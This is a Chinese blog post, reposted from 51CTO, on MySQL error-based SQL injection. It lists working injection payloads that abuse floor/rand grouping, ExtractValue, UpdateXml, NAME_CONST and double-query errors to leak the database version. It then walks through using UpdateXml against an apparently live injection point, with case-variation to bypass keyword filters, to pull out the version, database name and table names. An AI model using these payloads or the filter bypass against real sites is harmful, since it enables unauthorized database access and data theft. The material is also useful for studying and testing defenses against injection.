天天看點

SQL注入之mysql顯錯注入

    在我們實際滲透中,明明發現一個注入點,本以為丢給sqlmap就可以了,結果sqlmap隻顯示确實是注入點,但是資料庫卻擷取不了,如圖1所示,這時我們可以使用手工進行注入,判斷出過濾規則以及基本過濾情況,然後再選擇對應的sqlmap腳本(如果有的話),本文主要是講述如何通過mysql函數報錯來進行注入,另外如何使用手工進行全程注入的利用過程,如果你知道sqlmap裡面有對應的腳本的話,煩請告知一下,謝謝!。

<a href="https://s3.51cto.com/wyfs02/M02/A4/6E/wKioL1mrZdiAlu2WAAHAigyM4E8873.jpg-wh_500x0-wm_3-wmp_4-s_1890801678.jpg" target="_blank"></a>

圖1 擷取資料庫失敗

    此時我們可以考慮下是否是顯錯注入,對于顯錯注入我們可以使用mysql顯錯注入函數進行查詢資料庫資訊。

    通過floor報錯:

1

<code>and</code> <code>select</code> <code>1 </code><code>from</code> <code>(</code><code>select</code> <code>count</code><code>(*),concat(version(),floor(rand(0)*2))x </code><code>from</code> <code>information_schema.tables </code><code>group</code> <code>by</code> <code>x)a)</code>

<code>and</code> <code>(</code><code>select</code> <code>count</code><code>(*) </code><code>from</code> <code>(</code><code>select</code> <code>1 </code><code>union</code> <code>select</code> <code>null</code> <code>union</code> <code>select</code>  <code>!1)x </code><code>group</code> <code>by</code> <code>concat((</code><code>select</code> <code>version()),floor(rand(0)*2)))</code>

    通過ExtractValue報錯:

<code>and</code> <code>extractvalue(1, concat(0x7f, (</code><code>select</code> <code>version()),0x7f))</code>

    通過UpdateXml報錯:

<code>and</code> <code>1=(updatexml(1,concat(0x7f,(</code><code>select</code> <code>version()),0x7f),1))</code>

    通過NAME_CONST報錯:

<code>and</code> <code>1=(</code><code>select</code> <code>* </code><code>from</code> <code>(</code><code>select</code> <code>NAME_CONST(version(),1),NAME_CONST(version(),1)) </code><code>as</code> <code>x)</code>

    通過錯誤的雙重查詢:

<code>or</code> <code>1 </code><code>group</code> <code>by</code> <code>concat_ws(0x7f,version(),floor(rand(0)*2)) </code><code>having</code> <code>min</code><code>(0) </code><code>or</code> <code>1</code>

    在這裡我們以UpdateXml報錯進行實戰示範,如圖2是一個顯錯注入點。

<a href="https://s4.51cto.com/wyfs02/M02/A4/6F/wKioL1mrbU-C0a8RAACQAXA8D38440.jpg-wh_500x0-wm_3-wmp_4-s_1012095351.jpg" target="_blank"></a>

圖2 顯錯注入點

    此時我們将通過UpdateXml來進行SQL注入,這裡由于對關鍵字進行了過濾,是以我們需要使用大小寫來進行繞過,首先我們查詢資料庫版本,如圖3所示,成功擷取了資料庫版本。

<a href="https://s3.51cto.com/wyfs02/M01/A4/6F/wKioL1mrbkbjMtwoAAC9-K9ywNk540.jpg-wh_500x0-wm_3-wmp_4-s_3026743414.jpg" target="_blank"></a>

圖3 擷取資料庫版本資訊

    擷取資料庫名,如圖4所示。

<a href="https://s5.51cto.com/wyfs02/M02/05/BD/wKiom1mrcKGjroMaAAC42nt38yI886.jpg-wh_500x0-wm_3-wmp_4-s_1853663715.jpg" target="_blank"></a>

圖4 擷取資料名

    擷取表名,如圖5所示。

<a href="https://s4.51cto.com/wyfs02/M01/05/BE/wKiom1mrcVKToMzTAAEBa6GYeo8084.jpg-wh_500x0-wm_3-wmp_4-s_2795074839.jpg" target="_blank"></a>

圖5 擷取表名

本文轉自 eth10 51CTO部落格,原文連結:http://blog.51cto.com/eth10/1962253